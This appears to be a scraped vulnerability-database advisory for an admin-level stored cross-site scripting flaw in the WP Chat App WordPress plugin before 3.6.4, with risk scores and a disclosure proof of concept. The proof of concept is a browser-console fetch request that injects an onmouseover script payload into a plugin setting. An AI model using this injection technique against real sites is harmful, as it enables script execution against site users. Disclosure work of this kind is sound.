Lucene search

K
wpvulndbDmitrii IgnatyevWPVDB-ID:91058C48-F262-4FCC-9390-472D59D61115
HistoryApr 05, 2024 - 12:00 a.m.

WP Chat App < 3.6.4 - Admin+ Stored XSS

2024-04-0500:00:00
Dmitrii Ignatyev
wpscan.com
5
wordpress
chat app
stored xss
unsanitised settings
admin
cross-site scripting
security vulnerability
update

5.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.0%

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admins to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed

PoC

1. Navigate to http://vulnerable-site.tld/wp-admin/admin.php?page=nta_whatsapp_floating_widget 2. Paste and run the following in your browser’s console: await fetch(“/wp-admin/admin-ajax.php”, { “credentials”: “include”, “headers”: { “Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8” }, “body”: title=Start+a+Conversation&amp;isShowBtnLabel;=on&amp;btnLabel;=Need+Help%3F+%3Cstrong%3EChat+with+us%3C%2Fstrong%3E&amp;btnLabelWidth;=156&amp;textColor;=%23fff&amp;titleSize;=titleSize=18"//'+onmouseover=alert(123)//&amp;descriptionTextSize;=12&amp;accountNameSize;=14&amp;regularTextSize;=11&amp;backgroundColor;=%232db742&amp;btnPosition;=right&amp;btnLeftDistance;=30&amp;btnRightDistance;=30&amp;btnBottomDistance;=30&amp;isShowPoweredBy;=on&amp;scrollHeight;=500&amp;responseText;=The+team+typically+replies+in+a+few+minutes.&amp;description;=Hi!+Click+one+of+our+member+below+to+chat+on+%3Cstrong%3EWhatsApp%3C%2Fstrong%3E&amp;gdprContent;=Please+accept+our+%3Ca+href%3D%22https%3A%2F%2Fninjateam.org%2Fprivacy-policy%2F%22%3Eprivacy+policy%3C%2Fa%3E+first+to+start+a+conversation.&amp;time;_symbols%5BhourSymbol%5D=h&amp;time;_symbols%5BminSymbol%5D=m&amp;showOnDesktop;=on&amp;showOnMobile;=on&amp;displayCondition;=showAllPage&amp;action;=njt_wa_save_design_setting&amp;nonce;=${njt_wa['nonce']}, “method”: “POST”, “mode”: “cors” }); 3. Refresh the page, navigate to the “Design” tab and hover your mouse on Widget Font Size -> Title

CPENameOperatorVersion
eq3.6.4

5.7 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.0%

Related for WPVDB-ID:91058C48-F262-4FCC-9390-472D59D61115